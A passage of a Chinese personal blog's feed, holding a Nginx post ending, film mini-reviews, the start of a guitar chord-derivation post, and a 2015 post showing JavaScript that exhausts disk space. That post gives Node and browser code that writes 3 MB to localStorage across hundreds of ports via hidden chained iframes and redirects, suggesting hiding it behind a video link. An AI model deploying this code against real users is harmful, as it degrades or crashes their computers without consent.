</p><p>比如Fiddler直观，但Nginx更底层，更灵活，应当按照实际选择即可。</p><p>话说回来，后来心情有些惆怅。<br>想起之前，我用NodeJs写过一个八百行的本地调试服务，如今更习惯用Nginx的几行配置。<br>不过我又想，<strong>既然我已经花了时间去写，为什么还要花时间去用？！</strong> </p><p>心情又好起来了。（等等有什么不对，管它呢…）</p><hr><p>END.<br>15.11.03 Litten.</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;Nginx那么好，我想去看看。&lt;br&gt;接连逛了两个书城后，我发现并没有Nginx相关的书籍。&lt;br&gt;这就很奇怪！&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/assets/blogImg/nginx0.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Nginx，一名&lt;strong&gt;网红&lt;/strong&gt;（网络服务器红人…），就算没有自传和回忆录，争着介绍它的花边新闻也该有吧。&lt;/p&gt;
&lt;p&gt;后来找到仅有的一两本书籍，也直接深入到“源码剖析”的阶段。写得并不十分满意，况且我还不需要这些。&lt;br&gt;后来发现了原因，大概是因为&lt;strong&gt;“使用太简单了，都不值得出书”&lt;/strong&gt;。&lt;br&gt;是的，Nginx把纷繁复杂的功能，浓缩成一份简单的配置，极易上手。&lt;br&gt;当它呈现到你面前时，感觉独具匠心。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="前端" scheme="http://xiaocp.com/tags/%E5%89%8D%E7%AB%AF/"/>
    
  </entry>
  
  <entry>
    <title>作为一个前端，可以如何机智地弄坏一台电脑？</title>
    <link href="http://xiaocp.com/2015/07/06/hack-in-localstorage/"/>
    <id>http://xiaocp.com/2015/07/06/hack-in-localstorage/</id>
    <published>2015-07-06T14:30:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>有人说，前端的界限就在浏览器那儿。</p><p>无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。<br>这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。<br>然而，作为一个前端，我发现是有方式打开次元大门的…</p><p>这个实验脑洞较大，动机无聊，但某种意义上反映了一些<strong>安全问题</strong>。<br>想象一下，有天你在家里上网，吃着火锅还唱着歌，<strong>点开一个链接，电脑突然就蓝屏了</strong>！想想还真有点小激动。</p><a id="more"></a><h3 id="起因"><a href="#起因" class="headerlink" title="起因"></a>起因</h3><p>故事得从localStorage说起。</p><p>html5的本地存储，相信大家都不陌生。将数据以二进制文件形式存储到本地，在当前应用得非常广泛。<br>windows下的chrome，localStorage存储于<code>C:\Users\xxx\AppData\Local\Google\Chrome\User Data\Default\Local Storage</code>文件夹中。但如果任由网页无限写文件，对用户硬盘的伤害可想而知，因而浏览器对其做了大小限制。</p><p>对于一个域名+端口，PC侧的上限是5M-10M之间，移动侧是则不大于2.5M。</p><p>那么问题就变成：<strong>这样的限制足够保护用户硬盘了吗</strong>？</p><h3 id="关键"><a href="#关键" class="headerlink" title="关键"></a>关键</h3><p>关键的问题在于，这一限制，针对的是一个<code>域名+端口</code>。<br>也就是说，你访问<code>同一个域名的不同端口</code>，它们的localStorage并无关联，是分开存储的。</p><p>我用node简单地开启了服务器，这时，用户访问<code>http://127.0.0.1:1000</code>到<code>http://127.0.0.1:1099</code>这100个端口，会请求到同一个页面：<code>index.html</code>：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">var http &#x3D; require(&#39;http&#39;);</span><br><span class="line">var fs &#x3D; require(&#39;fs&#39;);</span><br><span class="line"></span><br><span class="line">&#x2F;&#x2F;100个端口</span><br><span class="line">for(var port &#x3D; 1000; port&lt; 1100; port++)&#123;</span><br><span class="line">  http.createServer(function (request, response) &#123;</span><br><span class="line">    &#x2F;&#x2F;请忽略这种循环读文件的方式，只为了简便</span><br><span class="line">    fs.readFile(&#39;.&#x2F;index.html&#39;, function(err, content)&#123;</span><br><span class="line">      if(err) &#123;</span><br><span class="line">      &#125; else &#123;</span><br><span class="line">        response.writeHead(200, &#123; &#39;Content-Type&#39; : &#39;text&#x2F;html; charset&#x3D;UTF-8&#39; &#125;);</span><br><span class="line">        response.write(content);</span><br><span class="line">        response.end();</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;);</span><br><span class="line">  &#125;).listen(port, &#39;127.0.0.1&#39;);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当然，这个index.html里涉及了localStorage写操作。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">var s &#x3D; &quot;&quot;;</span><br><span class="line">&#x2F;&#x2F;慢慢来，别写太大了，好害怕…</span><br><span class="line">for(var i&#x3D;0; i&lt; 3 * 1024 * 1024; i++)&#123;</span><br><span class="line">  s +&#x3D; &quot;0&quot;;</span><br><span class="line">&#125;</span><br><span class="line">localStorage.setItem(&quot;testData&quot;, s);</span><br></pre></td></tr></table></figure><p>我试着用浏览器分别访问了几个端口，结果是分开存储。一切跟剧本一样。</p><h3 id="自动遍历"><a href="#自动遍历" class="headerlink" title="自动遍历"></a>自动遍历</h3><p>但这种程度还不够。<br>如果要实验变得更好（xie）玩（e）一些，问题就变成如何<code>让用户自动遍历这些端口</code>？</p><p>iframe是个好的尝试。<br>只要一打开<code>http://127.0.0.1: 1000</code>，页面的脚步就会创建一个iframe，去请求<code>http://127.0.0.1: 1001</code>，一直循环下去。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">var Main &#x3D; (function()&#123;</span><br><span class="line">  var _key &#x3D; &quot;testData&quot;;</span><br><span class="line">  var _max &#x3D; 1100; &#x2F;&#x2F;最大限制</span><br><span class="line">  return &#123;</span><br><span class="line">    init: function()&#123;</span><br><span class="line">      &#x2F;&#x2F;慢慢来，别写太大了，好害怕…</span><br><span class="line">      var s &#x3D; &quot;&quot;;</span><br><span class="line">      for(var i&#x3D;0; i&lt; 3 * 1024 * 1024; i++)&#123;</span><br><span class="line">        s +&#x3D; &quot;0&quot;;</span><br><span class="line">      &#125;</span><br><span class="line">      localStorage.setItem(_key, s);</span><br><span class="line"></span><br><span class="line">      var port &#x3D; parseInt(location.port)+1;</span><br><span class="line">      if(port &gt; _max) return;</span><br><span class="line"></span><br><span class="line">      &#x2F;&#x2F;新添加iframe</span><br><span class="line">      var url &#x3D; &quot;http:&#x2F;&#x2F;127.0.0.1:&quot; + port;</span><br><span class="line">      var $iframe &#x3D; document.createElement(&quot;iframe&quot;);</span><br><span class="line">      $iframe.src &#x3D; url;</span><br><span class="line">      document.getElementsByTagName(&quot;body&quot;)[0].appendChild($iframe);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)();</span><br></pre></td></tr></table></figure><p>当然iframe我们还可以设置为不可见，以掩盖这种不厚道的行为…<br>比方说，有人发给你一个链接，你打开后发现是个视频，而你根本注意不到背后的脚本，在视频播放的几分钟里，快要把你的C盘写满。</p><p>然后我就看到请求如潮水渐涨：<br><img src="/assets/blogImg/localstorage1.png" alt=""></p><p>但是，请求到1081端口，最新的chrome就崩溃掉了…原来iframe嵌套太多，已经到达了浏览器的极限。</p><p>###防止浏览器崩溃</p><p>C盘还未撑满，同志还需努力。怎么办？</p><p>突然想到，到达iframe极限之前，我们可以重定向啊。<br>每访问50个端口，就使用<code>window.location.href</code>重定向一次，去确保浏览器不崩溃。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line">var Main &#x3D; (function()&#123;</span><br><span class="line">  var _key &#x3D; &quot;testData&quot;;</span><br><span class="line">  var _max &#x3D; 1200; &#x2F;&#x2F;最大限制</span><br><span class="line">  var _jumpSpace &#x3D; 50; &#x2F;&#x2F;为避免iframe过多导致浏览器crash，每50个执行跳转</span><br><span class="line"></span><br><span class="line">  return &#123;</span><br><span class="line">    init: function()&#123;</span><br><span class="line">      &#x2F;&#x2F;慢慢来，别写太大了，好害怕…</span><br><span class="line">      var s &#x3D; &quot;&quot;;</span><br><span class="line">      for(var i&#x3D;0; i&lt; 3 * 1024 * 1024; i++)&#123;</span><br><span class="line">        s +&#x3D; &quot;0&quot;;</span><br><span class="line">      &#125;</span><br><span class="line">      localStorage.setItem(_key, s);</span><br><span class="line"></span><br><span class="line">      var port &#x3D; parseInt(location.port)+1;</span><br><span class="line">      if(port &gt; _max) return;</span><br><span class="line"></span><br><span class="line">      if(port % _jumpSpace &#x3D;&#x3D; 0)&#123;</span><br><span class="line">        &#x2F;&#x2F;每50个，重定向一次</span><br><span class="line">        window.location.href &#x3D; url;</span><br><span class="line">      &#125;else&#123;</span><br><span class="line">        &#x2F;&#x2F;新添加iframe</span><br><span class="line">        var $iframe &#x3D; document.createElement(&quot;iframe&quot;);</span><br><span class="line">        $iframe.src &#x3D; url;</span><br><span class="line">        document.getElementsByTagName(&quot;body&quot;)[0].appendChild($iframe);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;)();</span><br></pre></td></tr></table></figure><p>事实证明，这种蛮拼的方法的确可行。</p><p>至此，只要访问<code>http://127.0.0.1: 1000</code>，就会往Local Storage文件夹里写入近500M无用数据：<br><img src="/assets/blogImg/localstorage3.png" alt=""></p><p>里面的数据是这样的：<br><img src="/assets/blogImg/localstorage2.png" alt=""></p><h3 id="继续实验的黑科技"><a href="#继续实验的黑科技" class="headerlink" title="继续实验的黑科技"></a>继续实验的黑科技</h3><p>算了下我的C盘还有空间嘛，那就把端口数量从100增长到200个。<br>结果是这样的，到达了1.17G大小。<br><img src="/assets/blogImg/localstorage4.png" alt=""></p><p>在后续的实验中，我就慢慢的把端口数量与存储的数据调大。</p><p>电脑也运行得越来越慢。这是为什么呢？</p><p>我观察到，有时候执行<code>localStorage.setItem()</code>后，在文件夹里不一定立即能看到数据文件。<br>怀疑这些数据会被chrome先放到内存里，以避免重复读写带来的消耗，在空闲或关闭的时机，再写进硬盘里。</p><p>但此时，浏览器已经影响到系统了。它处于一种“不会崩溃”，但“因为占用了许多内存，已经妨碍用户电脑的正常使用”的状态。<br>即使用户关闭了浏览器窗口，也不会很快恢复。要知道读写任务并不是随窗口关闭而终止的，否则浏览器会丢失数据。</p><p>遭遇黑科技的人们能做的只有：</p><ol><li>等待；</li><li>用任务管理器关掉chrome进程，再等待；</li><li>相信并尝试“重启电脑解决90%电脑问题”的科学论断</li></ol><p>可以说，浏览器的内心几乎是崩溃的。</p><h3 id="最后"><a href="#最后" class="headerlink" title="最后"></a>最后</h3><p>最后，还是得用严肃脸告诫一下：害人之心不可无。<br>本实验，从一开始就是怀揣着将<code>安全问题上交给国家的初衷</code>去做的（是的就是这么纯粹）。</p><p>后续，看着C盘还有2G空间，我又把端口增长到2000个，试下会发生什么。<br>由于请求过多，需要一定时间，我就去做别的事情了。<br>回来后发现房间安静祥和，美轮美奂，一片蓝光，像是加了特技。</p><p><img src="/assets/blogImg/localstorage5.png" alt=""></p><p>那么问题来了，计算机修理哪家强？<br>有点急…</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;有人说，前端的界限就在浏览器那儿。&lt;/p&gt;
&lt;p&gt;无论你触发了多少bug，最多导致浏览器崩溃，对系统影响不到哪去。&lt;br&gt;这就像二次元各种炫酷的毁灭世界，都不会导致三次元的世界末日。&lt;br&gt;然而，作为一个前端，我发现是有方式打开次元大门的…&lt;/p&gt;
&lt;p&gt;这个实验脑洞较大，动机无聊，但某种意义上反映了一些&lt;strong&gt;安全问题&lt;/strong&gt;。&lt;br&gt;想象一下，有天你在家里上网，吃着火锅还唱着歌，&lt;strong&gt;点开一个链接，电脑突然就蓝屏了&lt;/strong&gt;！想想还真有点小激动。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="js" scheme="http://xiaocp.com/tags/js/"/>
    
      <category term="安全" scheme="http://xiaocp.com/tags/%E5%AE%89%E5%85%A8/"/>
    
      <category term="黑科技" scheme="http://xiaocp.com/tags/%E9%BB%91%E7%A7%91%E6%8A%80/"/>
    
  </entry>
  
  <entry>
    <title>半年新影短评</title>
    <link href="http://xiaocp.com/2015/06/05/viewing-commentary/"/>
    <id>http://xiaocp.com/2015/06/05/viewing-commentary/</id>
    <published>2015-06-05T15:00:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p>直视自我内心的人，是值得敬佩的。<br>我不是，但我有个大学同学是，因为他能坚持每天写日记。</p><p>越长大，日记越是件难事。</p><p>我翻看很小时候的日记本，寥寥几笔，满满回忆；<br>再长大一些，不好看了，因为有些虚假，更多是为了应付老师的作业。<br>没有了真情实意，日记更像是作文。你看这名字的意义也够直接，“作”的文。</p><p>如果内心的小人与你说话，却都是谎话，记录又有何意义？<br>所以心智成熟后，日记越来越难被坚持下来。</p><p>更残酷的是，有时你根本不知道自己是不是在说谎！<br>你不确定是否喜欢现在的工作，<br>不确定自己的付出是否有回报，<br>以及，不确定爱不爱她</p><p>现代人想了一个极好的方法，叫——放空自己<br>把跳出来跟你争论的小人掩藏在游戏与歌酒里，什么都不去想，不去问。偶尔这样一下也挺好。</p><p>但我觉得，真实的记录还是要有。</p><p>半年以来，一直督促自己，要养成做完事情记(tu)录(cao)一下的习惯。<br>无论是旅行，聚会，书籍，电影，与长时间循环过的歌曲。<br>当然这些记录大多依靠手机，随想随记，潦草简短。<br>原则是，记录过的东西，就不再删改，即使后来看起来会很幼稚。真实的记录，自有它不容改变的尊严。</p><p>将笔记里杂七杂八的条目汇总，就新影而言，居然有这么多记录了。</p><a id="more"></a><hr><p>** 海洋之歌 5 **</p><p>如诗如颂，如歌如梦<br>美好到出戏去看播放的进度条，希望它走得不要太快<br>就像需要重复确认起床时间的失眠夜</p><hr><p>** 浪客剑心 3.5 **</p><p>剑心最帅的不是眼花缭乱的剑技<br>而是抱着薰小姐说“沙扬娜拉”时<br>逆刃刀注定要重回杀戮，告别眼前的爱人，告别悔过的自我<br>这声简短的再见合适不过</p><hr><p>** 明日边缘 3.5 **</p><p>能读档真好！<br>阿汤哥教你for循环从入门到精通</p><hr><p>** 辉夜姬物语 4 **</p><p>罪罚与眷恋，缘起随缘灭<br>仓央嘉措说：“世间之事，除却生死，哪一件事不是闲事？”<br>一句入世的废话，也是出世的实话</p><hr><p>** 智取威虎山 3 **</p><p>张涵予的眼影和林更新的演技撑起了这版萌系王牌特工</p><hr><p>** 哪啊哪啊神去村 5 **</p><p>十年之计，莫如树木；终身之计，莫如树人<br>一切神佑，源于热爱<br>看《海贼王》时，船匠弗兰奇的师傅临别前的一番话动人至深：<br>谁都可以嫌弃你的船，唯独你，不可以。</p><hr><p>** 外形醉汉PK地球神 3.5 **</p><p>任何人去探讨宗教都显得力微，来自星星的你却是个例外<br>旁观者的角度让人想起少年派前三十分钟<br>“地球是很危险的”，但同时也是有爱的</p><hr><p>** 重返20岁 4 **</p><p>剧本精良，彩蛋满分，杨子姗的演技太惊艳<br>比起“奇怪的她”更喜欢这部<br>当我们思考重返20岁能干什么时<br>其实一切都还没晚</p><hr><p>** 王牌特工 4.5 **</p><p>很难再能看到如此不落俗套的表演<br>马修·沃恩想说，以前的谍战片都简称JB，都是狗，<br>看我有种一枪崩了它们<br>慢着，我说着逗你玩呢，是空弹啊，呵呵</p><hr><p>** 绣春刀 4 **</p><p>“起先，一家互联网公司的产品暴露了一个重大bug，<br>派三个程序员去排查。程序员发现啊，这bug能赚一大笔钱，<br>因而谎报bug已fix而导致的一系列血案。结论是改bug得认真。”<br>——我朋友（已拉黑）眼中的绣春刀</p><hr><p>** 战狼 3.5 **</p><p>一切的槽点都可以用诚意来弥补<br>附：《主旋律电影如何不惹急豆瓣小清新指南》<br>1、主角得有痞子气<br>2、能泡到女上司</p><hr><p>** 霍比特人三 五军之战 4 **</p><p>比起原著，李建军的表演更加丰满。<br>魔龙已死，宝石归位，情谊长传，孤山永在，<br>它的意义应当是开始，<br>而感觉却是一曲终了，恍之若别<br>我们也要跟中土世界说再见了。</p><hr><p>** 狼图腾 3 **</p><p>小说《狼图腾》，是我自己买的书中，<br>为数不多看不下去的<br>因而没太多能说的<br>但就电影来看，太想说狼，但说狼是为了说人<br>因而敬畏与情感，在高大上的图腾与乌托邦面前略显薄弱</p><hr><p>** 小森林 夏秋篇 5 **</p><p>极致内敛和极致色欲，这两种电影估计都只有日本人能拍出来<br>真正无剧情无尿点的五星神作，半年最佳<br>但此片在电影院里看会打折扣<br>适合下载个1020P高清，一个人，拉窗帘，躲被窝里，<br>跟极致色欲那种的观影模式一个样</p><hr><p>** 复仇者联盟二 4 **</p><p>看1时，是跟大学最好的几个朋友去，<br>看完后热血沸腾，我说，我们飞回寝室去！<br>如今复仇者再联盟，你们在哪里？<br>我们打一架也好哇</p><p>——litten 6.5晚</p>]]></content>
    
    <summary type="html">
    
      &lt;p&gt;直视自我内心的人，是值得敬佩的。&lt;br&gt;我不是，但我有个大学同学是，因为他能坚持每天写日记。&lt;/p&gt;
&lt;p&gt;越长大，日记越是件难事。&lt;/p&gt;
&lt;p&gt;我翻看很小时候的日记本，寥寥几笔，满满回忆；&lt;br&gt;再长大一些，不好看了，因为有些虚假，更多是为了应付老师的作业。&lt;br&gt;没有了真情实意，日记更像是作文。你看这名字的意义也够直接，“作”的文。&lt;/p&gt;
&lt;p&gt;如果内心的小人与你说话，却都是谎话，记录又有何意义？&lt;br&gt;所以心智成熟后，日记越来越难被坚持下来。&lt;/p&gt;
&lt;p&gt;更残酷的是，有时你根本不知道自己是不是在说谎！&lt;br&gt;你不确定是否喜欢现在的工作，&lt;br&gt;不确定自己的付出是否有回报，&lt;br&gt;以及，不确定爱不爱她&lt;/p&gt;
&lt;p&gt;现代人想了一个极好的方法，叫——放空自己&lt;br&gt;把跳出来跟你争论的小人掩藏在游戏与歌酒里，什么都不去想，不去问。偶尔这样一下也挺好。&lt;/p&gt;
&lt;p&gt;但我觉得，真实的记录还是要有。&lt;/p&gt;
&lt;p&gt;半年以来，一直督促自己，要养成做完事情记(tu)录(cao)一下的习惯。&lt;br&gt;无论是旅行，聚会，书籍，电影，与长时间循环过的歌曲。&lt;br&gt;当然这些记录大多依靠手机，随想随记，潦草简短。&lt;br&gt;原则是，记录过的东西，就不再删改，即使后来看起来会很幼稚。真实的记录，自有它不容改变的尊严。&lt;/p&gt;
&lt;p&gt;将笔记里杂七杂八的条目汇总，就新影而言，居然有这么多记录了。&lt;/p&gt;
    
    </summary>
    
    
    
      <category term="旧事" scheme="http://xiaocp.com/tags/%E6%97%A7%E4%BA%8B/"/>
    
      <category term="生活" scheme="http://xiaocp.com/tags/%E7%94%9F%E6%B4%BB/"/>
    
  </entry>
  
  <entry>
    <title>和弦推导逻辑简析</title>
    <link href="http://xiaocp.com/2015/05/25/logic-of-chord/"/>
    <id>http://xiaocp.com/2015/05/25/logic-of-chord/</id>
    <published>2015-05-25T15:01:00.000Z</published>
    <updated>2020-05-07T04:00:06.000Z</updated>
    
    <content type="html"><![CDATA[<p><img src="/assets/blogImg/chord1.jpg" alt="Image By Dustin Wallace"> </p><p>诚然，吉他有上千个和弦。世界上最厉害的吉他大师，也无法一眼辨识出所有的和弦。</p><p>更多时候，我们熟记几个基本的和弦，然后通过一定的计算法则，去推导其他的和弦。因而推导的逻辑就非常重要。</p><p>《吉他三月通》一书把这乐理洋洋洒洒说了一百多页，我想试着让事情简单一些。</p><p>最后，我们将逻辑实现成一个<a href="/assets/demo/chord/index.html">小程序</a>，可以方便打印出想要推导的和弦。</p><p>###音乐与数学</p><p>既然是逻辑，都可以用数学去建模，然而音乐与数学之间，却有一点非常重要的差异。</p><p>在这之前，我们得谈点有趣的事情，它们都有共同的原因：</p><ol><li>为什么我们会觉得某首歌很“中国风”？</li><li>为什么某些日本的传统音乐听起来很“诡异”？</li><li>为什么钢琴要做成黑键白键，所有键都一样不行吗？</li></ol><a id="more"></a><p>我们常用——</p><blockquote><p>正整数：1、2、3、4、5、6、7 ，<br>对应和弦：C、D、E、F、G、A、B，<br>对应音符：Do、Re、Me、Fa、So、La、Ti</p></blockquote><p>每个正整数之间，都是相差1；而按频率高低排列的音符，由于历史原因，它们并<strong>不是等差数列</strong>。</p><p>实际上，<code>4比理想的要低一点，7比理想的要高一点</code>，其他的5个音，则基本在理想线性曲线上！</p><p><img src="/assets/blogImg/chord2.png" alt="音阶频率曲线">        </p><p>这5个跟理想比较吻合的音，就是天朝古代的五音阶：宫、商、角、徵、羽。“中国风”的歌曲，大多使用了这五个音，所以让人感到舒服和温和；而日本的传统音乐，反其道而行用了许多4与7（这么说也不太对，具体是受阴阳调式影响，但表现上大概如此），有一种幽静阴深的效果。</p><p>所以，以上问题的原因是：<code>音符的递增不完全是线性的</code>！</p><p>我们得把4和7这两个不和谐点标志出来，就出现了“半音和全音”的理论。<br>把<code>3到4</code>和<code>7到1</code>这两个不满一个跨度的叫做<code>半音</code>；其他相邻音符之间，都叫做<code>全音</code>。<br>而造物主的神奇之处在于：<code>两个半音等于一个全音</code>。</p><p>音乐的世界跟数学的这点不同，会在后面逻辑推导上会给我们一点小小的麻烦。</p><p>###音乐家与程序员</p><p>试想，如果程序员要完成描述音阶的数据结构，会如何设计呢？</p><p>通常，应该先规划“最小粒度”。而“半音”刚好是最合适的选择。</p><p>音乐家与程序员的处理方式如出一辙，钢琴上夹在两个白键之间的黑键，吉他相邻品丝之间，都是为了表现出半音。</p><p>如果用程序描述吉他品丝的关系就是：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">var scale &#x3D; [2, 2, 1, 2, 2, 2, 1];  &#x2F;&#x2F;3-4是半音，7-1也是半音，相隔1品；其他是全音，相隔2品</span><br></pre></td></tr></table></figure><p>###吉他与尺子</p><p>知道了这些，我们就好比掌握了<code>一把尺子的刻度</code>。</p><p>在尺子上，如果一个刻度表示1cm，那么从3cm往后推两个格子，就是5cm；<br>把吉他想象成尺子，一个刻度表示半音，和弦之间就可以推导了。</p><p>与众不同的是，这把尺子首尾相连，更像一个循环的圈。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">刻度：    2品       2品       1品       2品       2品       2品       1品       2品       2品</span><br><span class="line">和弦：C  +----&gt; D  +----&gt; E  +----&gt; F  +----&gt; G  +----&gt; A  +----&gt; B  +----&gt; C  +----&gt; D  +----&gt; ……</span><br><span class="line">音符：Do +----&gt; Re +----&gt; Me +----&gt; Fa +----&gt; So +----&gt; La +----&gt; Ti +----&gt; Do +----&gt; Re +----&gt; ……</span><br><span class="line">整数：1  +----&gt; 2  +----&gt; 3  +----&gt; 4  +----&gt; 5  +----&gt; 6  +----&gt; 7  +----&gt; 1  +----&gt; 2  +----&gt; ……</span><br></pre></td></tr></table></figure><p>因而，<code>一个和弦可以有多种方式弹奏</code>。<br>比如C和弦，除了最基础的开放式（不需要用食指横按品丝）指法，我们还可以用A和弦的指法实现：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">C &#x3D; B + 1品</span><br><span class="line">  &#x3D; A + 2品 + 1品</span><br><span class="line">  &#x3D; A + 3品</span><br></pre></td></tr></table></figure><p>所以，我们用食指横按住第3品（或者用变调夹夹第3品），然后再加上A和弦的开放式指法，就形成了一个C和弦。</p><p>同理也可以用E和弦实现：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">C &#x3D; B + 1品</span><br><span class="line">  &#x3D; A + 2品 + 1品</span><br><span class="line">  &#x3D; G + 2品 + 2品 + 1品</span><br><span class="line">  &#x3D; F + 2品 + 2品 + 2品 + 1品</span><br><span class="line">  &#x3D; E + 1品 + 2品 + 2品 + 2品 + 1品</span><br><span class="line">  &#x3D; E + 8品</span><br></pre></td></tr></table></figure><p>横按的位置就在第8品上。</p><p>其实大部分情况下，我们都是用A，E，Am，Em这四个和弦去推导其他和弦，因为这几个和弦横按与转换比较方便，特别是在扫弦的时候。</p><p>###程序实现</p><p>明确逻辑之后，就差程序实现了。但这之前，我们定了程序的最小粒度是1品，就无可避免遇到一个问题：</p><p>如果<code>A + 2品 = B</code>，那<code>A + 1品 = ？</code></p><p>这个和弦介于A与B之间，人们把它称为<code>升A</code>或<code>降B</code>，对应记法是<code>A#</code>或<code>Bb</code>。</p><p>至此我们可以列出，用E指法和A指法推导的所有和弦的横按位置：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">var positions &#x3D; &#123;</span><br><span class="line">    &quot;E&quot;: &#123;</span><br><span class="line">    &quot;A&quot;:  5,</span><br><span class="line">    &quot;A#&quot;: 6,</span><br><span class="line">    &quot;Bb&quot;: 6,</span><br><span class="line">    &quot;B&quot;:  7,</span><br><span class="line">    &quot;C&quot;:  8,</span><br><span class="line">    &quot;C#&quot;: 9,</span><br><span class="line">    &quot;Db&quot;: 9,</span><br><span class="line">    &quot;D&quot;:  10,</span><br><span class="line">    &quot;D#&quot;: 11,</span><br><span class="line">    &quot;Eb&quot;: 11,</span><br><span class="line">    &quot;E&quot;:  12,</span><br><span class="line">    &quot;F&quot;:  1,</span><br><span class="line">    &quot;F#&quot;: 2,</span><br><span class="line">    &quot;Gb&quot;: 2,</span><br><span class="line">    &quot;G&quot;:  3,</span><br><span class="line">    &quot;G#&quot;: 4,</span><br><span class="line">    &quot;Ab&quot;: 4</span><br><span class="line">    &#125;,</span><br><span class="line">    &quot;A&quot;: &#123;</span><br><span class="line">     &quot;A&quot;:  12,</span><br><span class="line">     &quot;A#&quot;: 1,</span><br><span class="line">     &quot;Bb&quot;: 1,</span><br><span class="line">     &quot;B&quot;:  2,</span><br><span class="line">     &quot;C&quot;:  3,</span><br><span class="line">     &quot;C#&quot;: 4,</span><br><span class="line">     &quot;Db&quot;: 4,</span><br><span class="line">     &quot;D&quot;:  5,</span><br><span class="line">     &quot;D#&quot;: 6,</span><br><span class="line">     &quot;Eb&quot;: 6,</span><br><span class="line">     &quot;E&quot;:  7,</span><br><span class="line">     &quot;F&quot;:  8,</span><br><span class="line">     &quot;F#&quot;: 9,</span><br><span class="line">     &quot;Gb&quot;: 9,</span><br><span class="line">     &quot;G&quot;:  10,</span><br><span class="line">     &quot;G#&quot;: 11,</span><br><span class="line">     &quot;Ab&quot;: 11</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;;</span><br></pre></td></tr></table></figure><p>同时，将E、A的开放和弦的指型描述出来：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span 